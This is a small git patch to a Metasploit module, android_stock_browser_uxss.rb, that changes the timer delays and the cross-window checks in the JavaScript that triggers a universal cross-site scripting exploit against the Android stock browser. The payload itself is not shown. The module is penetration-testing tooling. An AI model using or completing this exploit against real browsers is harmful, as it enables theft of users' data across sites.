From 8407d45c9cdae4ad1ccd6abfb7611f2799ae7fb1 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 8 Sep 2014 00:40:00 -0500 Subject: [PATCH] Rework the timers. --- modules/auxiliary/gather/android_stock_browser_uxss.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb index a43426eba5..4475c5a6cc 100644 --- a/modules/auxiliary/gather/android_stock_browser_uxss.rb +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -127,12 +127,12 @@ class Metasploit3 < Msf::Auxiliary }, 50); var clear2 = setInterval(function(){ try { + if (w.location.toString()) return; if (w.document) return; - if (w.location.href.toString()) return; } catch(e) {} clearInterval(clear2); - clear2 = setInterval(exploit, 300); - },100); + clear2 = setInterval(exploit, 50); + },20); } else { exploit(); }